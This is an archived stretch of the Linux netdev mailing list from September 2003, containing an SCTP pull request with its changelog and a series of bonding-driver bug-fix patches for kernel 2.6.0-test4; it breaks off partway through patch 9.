bulk X-list: netdev Hi Dave, Please do a bk pull http://linux-lksctp.bkbits.net/lksctp-2.5 to get the following updates to SCTP on top of linux 2.6.0-test4 The changesets include API updates to be compatible with the latest SCTP sockets API Extension draft http://www.ietf.org/internet-drafts/draft-ietf-tsvwg-sctpsocket-07.txt and a few bug fixes. # This patch includes the following deltas: # ChangeSet 1.1316 -> 1.1324 # include/net/sctp/user.h 1.14 -> 1.15 # net/sctp/associola.c 1.58 -> 1.59 # net/sctp/input.c 1.35 -> 1.36 # net/sctp/sm_statefuns.c 1.62 -> 1.63 # net/sctp/sm_make_chunk.c 1.58 -> 1.61 # include/net/sctp/sctp.h 1.47 -> 1.50 # net/sctp/sysctl.c 1.12 -> 1.13 # include/net/sctp/sm.h 1.27 -> 1.29 # net/sctp/protocol.c 1.57 -> 1.58 # net/sctp/ipv6.c 1.48 -> 1.49 # include/linux/sctp.h 1.7 -> 1.8 # net/sctp/bind_addr.c 1.19 -> 1.21 # include/net/sctp/structs.h 1.71 -> 1.73 # net/sctp/primitive.c 1.10 -> 1.11 # net/sctp/socket.c 1.89 -> 1.95 # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- # 03/08/25 sri@us.ibm.com 1.1123.20.2 # [SCTP] draft07 API changes: sctp_getpaddrs(), sctp_getladdrs() now # return a packed array of sockaddr_in/sockaddr_in6 structures instead # of an array of sockaddr_storage structures. # -------------------------------------------- # 03/08/25 sri@us.ibm.com 1.1317 # Merge us.ibm.com:/home/sridhar/BK/linux-2.6.0-test4 # into us.ibm.com:/home/sridhar/BK/lksctp-2.6.0-test4 # -------------------------------------------- # 03/08/27 sri@us.ibm.com 1.1318 # [SCTP] SCTP_SET_PEER_PRIMARY socket option support. (Kevin Gao) # -------------------------------------------- # 03/08/29 sri@us.ibm.com 1.1319 # [SCTP] draft07 API changes: sctp_bindx() now takes a packed array of # sockaddr_in/sockaddr_in6 structures instead of an array of # sockaddr_storage structures. # -------------------------------------------- # 03/09/02 sri@us.ibm.com 1.1320 # [SCTP] Convert sctp_param2sockaddr() and sockaddr2sctp_addr() to # address family specific routines af->from_addr_parm() and # af->to_addr_param() respectively. # -------------------------------------------- # 03/09/03 sri@us.ibm.com 1.1321 # [SCTP] Fix a couple of issues with the call to sctp_ssnmap_new() in # sctp_process_init(). # # The argument passed as inbound streams to sctp_ssnmap_new() is # incorrect. Also allocating a ssnmap everytime a INIT is received is # vulnerable to DoS attacks. So delay the creation of an ssnmap if we # are processing a temporary association. # -------------------------------------------- # 03/09/03 sri@us.ibm.com 1.1322 # [SCTP] draft 07 API changes: Disable listening when backlog is 0. # -------------------------------------------- # 03/09/03 sri@us.ibm.com 1.1323 # [SCTP] draft 07 API changes: By default, all the event notifications # are turned off even for one-to-many style sockets. # -------------------------------------------- # 03/09/04 sri@us.ibm.com 1.1324 # [SCTP] Move a local variable declaration ahead of the function code. # # Apparently the new gcc 3.2.2 allows local variable declarations within # the code of a function if it is not used earlier. But older gcc's do # not allow this. # -------------------------------------------- Thanks Sridhar From amir.noam@intel.com Thu Sep 4 18:08:49 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Sep 2003 18:09:26 -0700 (PDT) Received: from hermes.hd.intel.com (fmr09.intel.com [192.52.57.35]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8518jWh014430 for ; Thu, 4 Sep 2003 18:08:49 -0700 Received: from petasus.hd.intel.com (petasus.hd.intel.com [10.127.45.3]) by hermes.hd.intel.com (8.11.6p2/8.11.6/d: outer.mc,v 1.82 2003/09/04 16:03:37 rfjohns1 Exp $) with ESMTP id h84HgQg01304 for ; Thu, 4 Sep 2003 17:42:26 GMT Received: from fmsmsxvs042.fm.intel.com (fmsmsxvs042.fm.intel.com [132.233.42.128]) by petasus.hd.intel.com (8.11.6p2/8.11.6/d: inner.mc,v 1.35 2003/05/22 21:18:01 rfjohns1 Exp $) with SMTP id h84HdXL25746 for ; Thu, 4 Sep 2003 17:39:34 GMT Received: from jrslxjul4.npdj.intel.com ([10.12.254.188]) by fmsmsxvs042.fm.intel.com (NAVGW 2.5.2.11) with SMTP id M2003090410444132207 ; Thu, 04 Sep 2003 10:44:42 -0700 Content-Type: text/plain; charset="us-ascii" From: Amir Noam Subject: [PATCH 4/10] [bonding 2.6] fix kernel panic when optional feature used Date: Thu, 4 Sep 2003 20:44:41 +0300 User-Agent: KMail/1.4.3 MIME-Version: 1.0 Content-Transfer-Encoding: 8bit To: bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com Message-Id: <200309042044.41209.amir.noam@intel.com> X-archive-position: 5611 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: amir.noam@intel.com Precedence: bulk X-list: netdev diff -Nuarp a/drivers/net/bonding/bond_main.c b/drivers/net/bonding/bond_main.c --- a/drivers/net/bonding/bond_main.c Thu Sep 4 20:17:59 2003 +++ b/drivers/net/bonding/bond_main.c Thu Sep 4 20:18:01 2003 @@ -1559,11 +1559,14 @@ static int bond_enslave(struct net_devic #endif bond_set_slave_inactive_flags(new_slave); } - read_lock_irqsave(&(((struct in_device *)slave_dev->ip_ptr)->lock), rflags); - ifap= &(((struct in_device *)slave_dev->ip_ptr)->ifa_list); - ifa = *ifap; - my_ip = ifa->ifa_address; - read_unlock_irqrestore(&(((struct in_device *)slave_dev->ip_ptr)->lock), rflags); + if (((struct in_device *)slave_dev->ip_ptr) != NULL) { + read_lock_irqsave(&(((struct in_device *)slave_dev->ip_ptr)->lock), rflags); + ifap= &(((struct in_device *)slave_dev->ip_ptr)->ifa_list); + ifa = *ifap; + if (ifa != NULL) + my_ip = ifa->ifa_address; + read_unlock_irqrestore(&(((struct in_device *)slave_dev->ip_ptr)->lock), rflags); + } /* if there is a primary slave, remember it */ if (primary != NULL) { @@ -2730,10 +2733,8 @@ static void activebackup_arp_monitor(str /* the current slave must tx an arp to ensure backup slaves * rx traffic */ - if ((slave != NULL) && - (((jiffies - slave->dev->last_rx) >= the_delta_in_ticks) && - (my_ip != 0))) { - arp_send_all(slave); + if ((slave != NULL) && (my_ip != 0)) { + arp_send_all(slave); } } From amir.noam@intel.com Thu Sep 4 18:08:48 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Sep 2003 18:09:26 -0700 (PDT) Received: from hermes.hd.intel.com (fmr09.intel.com [192.52.57.35]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8518jWf014430 for ; Thu, 4 Sep 2003 18:08:48 -0700 Received: from petasus.hd.intel.com (petasus.hd.intel.com [10.127.45.3]) by hermes.hd.intel.com (8.11.6p2/8.11.6/d: outer.mc,v 1.82 2003/09/04 16:03:37 rfjohns1 Exp $) with ESMTP id h84Hgeg01454 for ; Thu, 4 Sep 2003 17:42:40 GMT Received: from fmsmsxvs042.fm.intel.com (fmsmsxvs042.fm.intel.com [132.233.42.128]) by petasus.hd.intel.com (8.11.6p2/8.11.6/d: inner.mc,v 1.35 2003/05/22 21:18:01 rfjohns1 Exp $) with SMTP id h84HdlL25890 for ; Thu, 4 Sep 2003 17:39:47 GMT Received: from jrslxjul4.npdj.intel.com ([10.12.254.188]) by fmsmsxvs042.fm.intel.com (NAVGW 2.5.2.11) with SMTP id M2003090410445511480 ; Thu, 04 Sep 2003 10:44:56 -0700 Content-Type: text/plain; charset="us-ascii" From: Amir Noam Subject: [PATCH 5/10] [bonding 2.6] fix change active command Date: Thu, 4 Sep 2003 20:44:55 +0300 User-Agent: KMail/1.4.3 MIME-Version: 1.0 Content-Transfer-Encoding: 8bit To: bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com Message-Id: <200309042044.55232.amir.noam@intel.com> X-archive-position: 5612 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: amir.noam@intel.com Precedence: bulk X-list: netdev diff -Nuarp a/drivers/net/bonding/bond_main.c b/drivers/net/bonding/bond_main.c --- a/drivers/net/bonding/bond_main.c Thu Sep 4 20:18:02 2003 +++ b/drivers/net/bonding/bond_main.c Thu Sep 4 20:18:03 2003 @@ -1720,20 +1720,29 @@ static int bond_change_active(struct net } } + /* + * Changing to the current active: do nothing; return success. + */ + if (newactive && (newactive == oldactive)) { + write_unlock_bh(&bond->lock); + return 0; + } + if ((newactive != NULL)&& (oldactive != NULL)&& - (newactive != oldactive)&& (newactive->link == BOND_LINK_UP)&& IS_UP(newactive->dev)) { - bond_set_slave_inactive_flags(oldactive); - bond_set_slave_active_flags(newactive); + if (bond_mode == BOND_MODE_ACTIVEBACKUP) { + bond_set_slave_inactive_flags(oldactive); + bond_set_slave_active_flags(newactive); + } + bond_mc_update(bond, newactive, oldactive); bond_assign_current_slave(bond, newactive); printk("%s : activate %s(old : %s)\n", master_dev->name, newactive->dev->name, oldactive->dev->name); - } - else { + } else { ret = -EINVAL; } write_unlock_bh(&bond->lock); From amir.noam@intel.com Thu Sep 4 18:08:51 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Sep 2003 18:09:26 -0700 (PDT) Received: from hermes.hd.intel.com (fmr09.intel.com [192.52.57.35]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8518jWj014430 for ; Thu, 4 Sep 2003 18:08:50 -0700 Received: from petasus.hd.intel.com (petasus.hd.intel.com [10.127.45.3]) by hermes.hd.intel.com (8.11.6p2/8.11.6/d: outer.mc,v 1.82 2003/09/04 16:03:37 rfjohns1 Exp $) with ESMTP id h84Hfqg00949 for ; Thu, 4 Sep 2003 17:41:52 GMT Received: from fmsmsxvs042.fm.intel.com (fmsmsxvs042.fm.intel.com [132.233.42.128]) by petasus.hd.intel.com (8.11.6p2/8.11.6/d: inner.mc,v 1.35 2003/05/22 21:18:01 rfjohns1 Exp $) with SMTP id h84Hd0L25400 for ; Thu, 4 Sep 2003 17:39:00 GMT Received: from jrslxjul4.npdj.intel.com ([10.12.254.188]) by fmsmsxvs042.fm.intel.com (NAVGW 2.5.2.11) with SMTP id M2003090410440704569 ; Thu, 04 Sep 2003 10:44:09 -0700 Content-Type: text/plain; charset="us-ascii" From: Amir Noam Subject: [PATCH 2/10] [bonding 2.6] fix load balance problem with high UDP Tx stress Date: Thu, 4 Sep 2003 20:44:07 +0300 User-Agent: KMail/1.4.3 MIME-Version: 1.0 Content-Transfer-Encoding: 8bit To: bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com Message-Id: <200309042044.07510.amir.noam@intel.com> X-archive-position: 5610 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: amir.noam@intel.com Precedence: bulk X-list: netdev diff -Nuarp a/drivers/net/bonding/bond_alb.c b/drivers/net/bonding/bond_alb.c --- a/drivers/net/bonding/bond_alb.c Thu Sep 4 20:17:54 2003 +++ b/drivers/net/bonding/bond_alb.c Thu Sep 4 20:17:55 2003 @@ -17,6 +17,13 @@ * * The full GNU General Public License is included in this distribution in the * file called LICENSE. + * + * + * Changes: + * + * 2003/06/25 - Shmulik Hen + * - Fixed signed/unsigned calculation errors that caused load sharing + * to collapse to one slave under very heavy UDP Tx stress. */ #include @@ -246,7 +253,7 @@ tlb_get_least_loaded_slave(struct bondin { struct slave *slave; struct slave *least_loaded; - u32 curr_gap, max_gap; + s64 curr_gap, max_gap; /* Find the first enabled slave */ slave = bond_get_first_slave(bond); @@ -262,15 +269,15 @@ tlb_get_least_loaded_slave(struct bondin } least_loaded = slave; - max_gap = (slave->speed * 1000000) - - (SLAVE_TLB_INFO(slave).load * 8); + max_gap = (s64)(slave->speed * 1000000) - + (s64)(SLAVE_TLB_INFO(slave).load * 8); /* Find the slave with the largest gap */ slave = bond_get_next_slave(bond, slave); while (slave) { if (SLAVE_IS_OK(slave)) { - curr_gap = (slave->speed * 1000000) - - (SLAVE_TLB_INFO(slave).load * 8); + curr_gap = (s64)(slave->speed * 1000000) - + (s64)(SLAVE_TLB_INFO(slave).load * 8); if (max_gap < curr_gap) { least_loaded = slave; max_gap = curr_gap; From amir.noam@intel.com Thu Sep 4 18:08:46 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Sep 2003 18:09:22 -0700 (PDT) Received: from hermes.hd.intel.com (fmr09.intel.com [192.52.57.35]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8518jWZ014430 for ; Thu, 4 Sep 2003 18:08:46 -0700 Received: from petasus.hd.intel.com (petasus.hd.intel.com [10.127.45.3]) by hermes.hd.intel.com (8.11.6p2/8.11.6/d: outer.mc,v 1.82 2003/09/04 16:03:37 rfjohns1 Exp $) with ESMTP id h84HfAg00477 for ; Thu, 4 Sep 2003 17:41:10 GMT Received: from fmsmsxvs042.fm.intel.com (fmsmsxvs042.fm.intel.com [132.233.42.128]) by petasus.hd.intel.com (8.11.6p2/8.11.6/d: inner.mc,v 1.35 2003/05/22 21:18:01 rfjohns1 Exp $) with SMTP id h84HcIL25001 for ; Thu, 4 Sep 2003 17:38:18 GMT Received: from jrslxjul4.npdj.intel.com ([10.12.254.188]) by fmsmsxvs042.fm.intel.com (NAVGW 2.5.2.11) with SMTP id M2003090410432625910 ; Thu, 04 Sep 2003 10:43:26 -0700 Content-Type: text/plain; charset="us-ascii" From: Amir Noam To: bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com Subject: [PATCH 0/10] [bonding 2.6] port 2.4 bug fixes to 2.6 Date: Thu, 4 Sep 2003 20:43:25 +0300 User-Agent: KMail/1.4.3 MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: <200309042043.25567.amir.noam@intel.com> X-archive-position: 5607 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: amir.noam@intel.com Precedence: bulk X-list: netdev The following set ports to 2.6 numerous bug fixes that went into 2.4 recently. Patches apply on 2.6.0-test4. Compile tested only. patch1: fix 802.3ad long fail over with high UDP Tx stress patch2: fix load balance problem with high UDP Tx stress patch3: fix ARP monitoring bug patch4: fix kernel panic when optional feature used patch5: fix change active command patch6: fix OOPS in bonding driver, when removing primary patch7: embed stats struct inside bonding private struct patch8: fix error handling in init code patch9: make each bond device use its own /proc entry patch10: misc fixes: missing include, typos, comments -- Amir From amir.noam@intel.com Thu Sep 4 18:08:48 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Sep 2003 18:09:26 -0700 (PDT) Received: from hermes.hd.intel.com (fmr09.intel.com [192.52.57.35]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8518jWd014430 for ; Thu, 4 Sep 2003 18:08:47 -0700 Received: from petasus.hd.intel.com (petasus.hd.intel.com [10.127.45.3]) by hermes.hd.intel.com (8.11.6p2/8.11.6/d: outer.mc,v 1.82 2003/09/04 16:03:37 rfjohns1 Exp $) with ESMTP id h84Hgqg01534 for ; Thu, 4 Sep 2003 17:42:52 GMT Received: from fmsmsxvs042.fm.intel.com (fmsmsxvs042.fm.intel.com [132.233.42.128]) by petasus.hd.intel.com (8.11.6p2/8.11.6/d: inner.mc,v 1.35 2003/05/22 21:18:01 rfjohns1 Exp $) with SMTP id h84HdxL25970 for ; Thu, 4 Sep 2003 17:40:00 GMT Received: from jrslxjul4.npdj.intel.com ([10.12.254.188]) by fmsmsxvs042.fm.intel.com (NAVGW 2.5.2.11) with SMTP id M2003090410450717092 ; Thu, 04 Sep 2003 10:45:08 -0700 Content-Type: text/plain; charset="us-ascii" From: Amir Noam Subject: [PATCH 6/10] [bonding 2.6] fix OOPS in bonding driver, when removing primary Date: Thu, 4 Sep 2003 20:45:07 +0300 User-Agent: KMail/1.4.3 MIME-Version: 1.0 Content-Transfer-Encoding: 8bit To: bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com Message-Id: <200309042045.07050.amir.noam@intel.com> X-archive-position: 5609 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: amir.noam@intel.com Precedence: bulk X-list: netdev diff -Nuarp a/drivers/net/bonding/bond_main.c b/drivers/net/bonding/bond_main.c --- a/drivers/net/bonding/bond_main.c Thu Sep 4 20:18:05 2003 +++ b/drivers/net/bonding/bond_main.c Thu Sep 4 20:18:06 2003 @@ -1941,6 +1941,10 @@ static int bond_release(struct net_devic /* release the slave from its bond */ bond_detach_slave(bond, our_slave); + if (bond->primary_slave == our_slave) { + bond->primary_slave = NULL; + } + printk (KERN_INFO "%s: releasing %s interface %s", master->name, (our_slave->state == BOND_STATE_ACTIVE) ? "active" : "backup", @@ -1957,10 +1961,6 @@ static int bond_release(struct net_devic printk(KERN_INFO "%s: now running without any active interface !\n", master->name); - } - - if (bond->primary_slave == our_slave) { - bond->primary_slave = NULL; } if ((bond_mode == BOND_MODE_TLB) || From amir.noam@intel.com Thu Sep 4 18:08:47 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Sep 2003 18:09:23 -0700 (PDT) Received: from hermes.hd.intel.com (fmr09.intel.com [192.52.57.35]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8518jWb014430 for ; Thu, 4 Sep 2003 18:08:46 -0700 Received: from petasus.hd.intel.com (petasus.hd.intel.com [10.127.45.3]) by hermes.hd.intel.com (8.11.6p2/8.11.6/d: outer.mc,v 1.82 2003/09/04 16:03:37 rfjohns1 Exp $) with ESMTP id h84HgAg01162 for ; Thu, 4 Sep 2003 17:42:10 GMT Received: from fmsmsxvs042.fm.intel.com (fmsmsxvs042.fm.intel.com [132.233.42.128]) by petasus.hd.intel.com (8.11.6p2/8.11.6/d: inner.mc,v 1.35 2003/05/22 21:18:01 rfjohns1 Exp $) with SMTP id h84HdHL25609 for ; Thu, 4 Sep 2003 17:39:17 GMT Received: from jrslxjul4.npdj.intel.com ([10.12.254.188]) by fmsmsxvs042.fm.intel.com (NAVGW 2.5.2.11) with SMTP id M2003090410442607879 ; Thu, 04 Sep 2003 10:44:26 -0700 Content-Type: text/plain; charset="us-ascii" From: Amir Noam Subject: [PATCH 3/10] [bonding 2.6] fix ARP monitoring bug Date: Thu, 4 Sep 2003 20:44:25 +0300 User-Agent: KMail/1.4.3 MIME-Version: 1.0 Content-Transfer-Encoding: 8bit To: bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com Message-Id: <200309042044.25278.amir.noam@intel.com> X-archive-position: 5608 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: amir.noam@intel.com Precedence: bulk X-list: netdev diff -Nuarp a/drivers/net/bonding/bond_main.c b/drivers/net/bonding/bond_main.c --- a/drivers/net/bonding/bond_main.c Thu Sep 4 20:17:57 2003 +++ b/drivers/net/bonding/bond_main.c Thu Sep 4 20:17:58 2003 @@ -443,7 +443,7 @@ struct bond_parm_tbl { static int arp_interval = BOND_LINK_ARP_INTERV; static char *arp_ip_target[MAX_ARP_IP_TARGETS] = { NULL, }; -static unsigned long arp_target[MAX_ARP_IP_TARGETS] = { 0, } ; +static u32 arp_target[MAX_ARP_IP_TARGETS] = { 0, } ; static int arp_ip_count = 0; static u32 my_ip = 0; char *arp_target_hw_addr = NULL; @@ -3811,7 +3811,7 @@ static int __init bonding_init(void) arp_interval = 0; } else { u32 ip = in_aton(arp_ip_target[arp_ip_count]); - *(u32 *)(arp_ip_target[arp_ip_count]) = ip; + arp_target[arp_ip_count] = ip; } } From amir.noam@intel.com Thu Sep 4 18:08:55 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Sep 2003 18:09:30 -0700 (PDT) Received: from hermes.hd.intel.com (fmr09.intel.com [192.52.57.35]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8518jWl014430 for ; Thu, 4 Sep 2003 18:08:52 -0700 Received: from petasus.hd.intel.com (petasus.hd.intel.com [10.127.45.3]) by hermes.hd.intel.com (8.11.6p2/8.11.6/d: outer.mc,v 1.82 2003/09/04 16:03:37 rfjohns1 Exp $) with ESMTP id h84Hh2g01752 for ; Thu, 4 Sep 2003 17:43:02 GMT Received: from fmsmsxvs042.fm.intel.com (fmsmsxvs042.fm.intel.com [132.233.42.128]) by petasus.hd.intel.com (8.11.6p2/8.11.6/d: inner.mc,v 1.35 2003/05/22 21:18:01 rfjohns1 Exp $) with SMTP id h84He9L26191 for ; Thu, 4 Sep 2003 17:40:09 GMT Received: from jrslxjul4.npdj.intel.com ([10.12.254.188]) by fmsmsxvs042.fm.intel.com (NAVGW 2.5.2.11) with SMTP id M2003090410451711853 ; Thu, 04 Sep 2003 10:45:18 -0700 Content-Type: text/plain; charset="us-ascii" From: Amir Noam Subject: [PATCH 7/10] [bonding 2.6] embed stats struct inside bonding private struct Date: Thu, 4 Sep 2003 20:45:17 +0300 User-Agent: KMail/1.4.3 MIME-Version: 1.0 Content-Transfer-Encoding: 8bit To: bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com Message-Id: <200309042045.17273.amir.noam@intel.com> X-archive-position: 5613 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: amir.noam@intel.com Precedence: bulk X-list: netdev diff -Nuarp a/drivers/net/bonding/bond_main.c b/drivers/net/bonding/bond_main.c --- a/drivers/net/bonding/bond_main.c Thu Sep 4 20:18:08 2003 +++ b/drivers/net/bonding/bond_main.c Thu Sep 4 20:18:09 2003 @@ -3295,10 +3295,10 @@ static int bond_xmit_activebackup(struct static struct net_device_stats *bond_get_stats(struct net_device *dev) { bonding_t *bond = dev->priv; - struct net_device_stats *stats = bond->stats, *sstats; + struct net_device_stats *stats = &(bond->stats), *sstats; slave_t *slave; - memset(bond->stats, 0, sizeof(struct net_device_stats)); + memset(stats, 0, sizeof(struct net_device_stats)); read_lock_bh(&bond->lock); @@ -3493,9 +3493,7 @@ static int __init bond_init(struct net_d /* initialize rwlocks */ rwlock_init(&bond->lock); rwlock_init(&bond->ptrlock); - - /* space is reserved for stats in alloc_netdev call. */ - bond->stats = (struct net_device_stats *)(bond + 1); + bond->next = bond->prev = (slave_t *)bond; bond->current_slave = NULL; bond->current_arp_slave = NULL; @@ -3868,8 +3866,7 @@ static int __init bonding_init(void) snprintf(name, IFNAMSIZ, "bond%d", no); - dev = alloc_netdev(sizeof(bonding_t) - + sizeof(struct net_device_stats), + dev = alloc_netdev(sizeof(struct bonding), name, ether_setup); if (!dev) return -ENOMEM; diff -Nuarp a/drivers/net/bonding/bonding.h b/drivers/net/bonding/bonding.h --- a/drivers/net/bonding/bonding.h Thu Sep 4 20:18:08 2003 +++ b/drivers/net/bonding/bonding.h Thu Sep 4 20:18:09 2003 @@ -99,7 +99,7 @@ typedef struct bonding { rwlock_t ptrlock; struct timer_list mii_timer; struct timer_list arp_timer; - struct net_device_stats *stats; + struct net_device_stats stats; #ifdef CONFIG_PROC_FS struct proc_dir_entry *bond_proc_dir; struct proc_dir_entry *bond_proc_info_file; From amir.noam@intel.com Thu Sep 4 18:08:57 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Sep 2003 18:09:32 -0700 (PDT) Received: from hermes.hd.intel.com (fmr09.intel.com [192.52.57.35]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8518jWp014430 for ; Thu, 4 Sep 2003 18:08:57 -0700 Received: from petasus.hd.intel.com (petasus.hd.intel.com [10.127.45.3]) by hermes.hd.intel.com (8.11.6p2/8.11.6/d: outer.mc,v 1.82 2003/09/04 16:03:37 rfjohns1 Exp $) with ESMTP id h84HhCg01863 for ; Thu, 4 Sep 2003 17:43:12 GMT Received: from fmsmsxvs042.fm.intel.com (fmsmsxvs042.fm.intel.com [132.233.42.128]) by petasus.hd.intel.com (8.11.6p2/8.11.6/d: inner.mc,v 1.35 2003/05/22 21:18:01 rfjohns1 Exp $) with SMTP id h84HeJL26314 for ; Thu, 4 Sep 2003 17:40:19 GMT Received: from jrslxjul4.npdj.intel.com ([10.12.254.188]) by fmsmsxvs042.fm.intel.com (NAVGW 2.5.2.11) with SMTP id M2003090410452722653 ; Thu, 04 Sep 2003 10:45:28 -0700 Content-Type: text/plain; charset="us-ascii" From: Amir Noam Subject: [PATCH 8/10] [bonding 2.6] fix error handling in init code Date: Thu, 4 Sep 2003 20:45:27 +0300 User-Agent: KMail/1.4.3 MIME-Version: 1.0 Content-Transfer-Encoding: 8bit To: bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com Message-Id: <200309042045.27041.amir.noam@intel.com> X-archive-position: 5614 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: amir.noam@intel.com Precedence: bulk X-list: netdev diff -Nuarp a/drivers/net/bonding/bond_main.c b/drivers/net/bonding/bond_main.c --- a/drivers/net/bonding/bond_main.c Thu Sep 4 20:18:10 2003 +++ b/drivers/net/bonding/bond_main.c Thu Sep 4 20:18:11 2003 @@ -3470,8 +3470,9 @@ static int bond_event(struct notifier_bl struct net_device *event_dev = (struct net_device *)ptr; struct net_device *master = event_dev->master; - if (event == NETDEV_UNREGISTER && master != NULL) + if ((event == NETDEV_UNREGISTER) && (master != NULL)) { bond_release(master, event_dev); + } return NOTIFY_DONE; } @@ -3480,9 +3481,34 @@ static struct notifier_block bond_netdev .notifier_call = bond_event, }; +static void bond_deinit(struct net_device *dev) +{ + struct bonding *bond = dev->priv; + + list_del(&bond->bond_list); + +#ifdef CONFIG_PROC_FS + remove_proc_entry("info", bond->bond_proc_dir); + remove_proc_entry(dev->name, proc_net); +#endif +} + +static void bond_free_all(void) +{ + struct bonding *bond, *nxt; + + list_for_each_entry_safe(bond, nxt, &bond_dev_list, bond_list) { + struct net_device *dev = bond->device; + + unregister_netdev(dev); + bond_deinit(dev); + kfree(dev); + } +} + static int __init bond_init(struct net_device *dev) { - bonding_t *bond; + struct bonding *bond; int count; #ifdef BONDING_DEBUG @@ -3613,6 +3639,7 @@ bond_parse_parm(char *mode_arg, struct b return -1; } + static int __init bonding_init(void) { int no; @@ -3858,49 +3885,62 @@ static int __init bonding_init(void) primary = NULL; } - register_netdevice_notifier(&bond_netdev_notifier); + rtnl_lock(); + err = 0; for (no = 0; no < max_bonds; no++) { struct net_device *dev; - char name[IFNAMSIZ]; - snprintf(name, IFNAMSIZ, "bond%d", no); + dev = alloc_netdev(sizeof(struct bonding), "", ether_setup); + if (!dev) { + err = -ENOMEM; + goto out_err; + } - dev = alloc_netdev(sizeof(struct bonding), - name, ether_setup); - if (!dev) - return -ENOMEM; + err = dev_alloc_name(dev, "bond%d"); + if (err < 0) { + kfree(dev); + goto out_err; + } + + /* bond_init() must be called after dev_alloc_name() (for the + * /proc files), but before register_netdevice(), because we + * need to set function pointers. + */ + err = bond_init(dev); + if (err < 0) { + kfree(dev); + goto out_err; + } - dev->init = bond_init; SET_MODULE_OWNER(dev); - if ( (err = register_netdev(dev)) ) { -#ifdef BONDING_DEBUG - printk(KERN_INFO "%s: register_netdev failed %d\n", - dev->name, err); -#endif + err = register_netdevice(dev); + if (err < 0) { + bond_deinit(dev); kfree(dev); - return err; - } + goto out_err; + } } + + rtnl_unlock(); + register_netdevice_notifier(&bond_netdev_notifier); + return 0; + +out_err: + rtnl_unlock(); + + /* free and unregister all bonds that were successfully added */ + bond_free_all(); + + return err; } static void __exit bonding_exit(void) { - struct bonding *bond, *nxt; - unregister_netdevice_notifier(&bond_netdev_notifier); - - list_for_each_entry_safe(bond, nxt, &bond_dev_list, bond_list) { - struct net_device *dev = bond->device; -#ifdef CONFIG_PROC_FS - remove_proc_entry("info", bond->bond_proc_dir); - remove_proc_entry(dev->name, proc_net); -#endif - unregister_netdev(dev); - free_netdev(dev); - } + bond_free_all(); } module_init(bonding_init); From amir.noam@intel.com Thu Sep 4 18:08:59 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Sep 2003 18:09:33 -0700 (PDT) Received: from hermes.hd.intel.com (fmr09.intel.com [192.52.57.35]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8518jWt014430 for ; Thu, 4 Sep 2003 18:08:59 -0700 Received: from petasus.hd.intel.com (petasus.hd.intel.com [10.127.45.3]) by hermes.hd.intel.com (8.11.6p2/8.11.6/d: outer.mc,v 1.82 2003/09/04 16:03:37 rfjohns1 Exp $) with ESMTP id h84HhOg01947 for ; Thu, 4 Sep 2003 17:43:24 GMT Received: from fmsmsxvs042.fm.intel.com (fmsmsxvs042.fm.intel.com [132.233.42.128]) by petasus.hd.intel.com (8.11.6p2/8.11.6/d: inner.mc,v 1.35 2003/05/22 21:18:01 rfjohns1 Exp $) with SMTP id h84HeVL26388 for ; Thu, 4 Sep 2003 17:40:32 GMT Received: from jrslxjul4.npdj.intel.com ([10.12.254.188]) by fmsmsxvs042.fm.intel.com (NAVGW 2.5.2.11) with SMTP id M2003090410453804556 ; Thu, 04 Sep 2003 10:45:39 -0700 Content-Type: text/plain; charset="us-ascii" From: Amir Noam Subject: [PATCH 9/10] [bonding 2.6] make each bond device use its own /proc entry Date: Thu, 4 Sep 2003 20:45:38 +0300 User-Agent: KMail/1.4.3 MIME-Version: 1.0 Content-Transfer-Encoding: 8bit To: bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com Message-Id: <200309042045.38523.amir.noam@intel.com> X-archive-position: 5617 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: amir.noam@intel.com Precedence: bulk X-list: netdev diff -Nuarp a/drivers/net/bonding/bond_main.c b/drivers/net/bonding/bond_main.c --- 